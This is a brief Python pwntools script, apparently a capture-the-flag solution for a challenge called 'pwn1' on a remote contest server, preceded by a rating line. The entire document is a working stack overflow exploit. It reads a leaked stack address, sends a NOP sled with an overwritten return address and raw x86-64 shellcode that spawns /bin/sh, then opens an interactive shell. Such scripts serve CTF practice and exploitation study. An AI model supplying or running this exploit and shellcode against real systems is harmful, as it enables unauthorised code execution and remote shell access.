Rating: 2.0

from pwn import *

#s = process('./pwn1')
s =   remote('bitsctf.bits-quark.org',1330)
stack = s.recvline()
print stack
stack =  stack[:-1]
stack = int(stack,16)
payload = "\x90"*24
payload += p64(stack+0x30)
payload += "\x90"*20
payload += "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
s.sendline(payload)
s.interactive()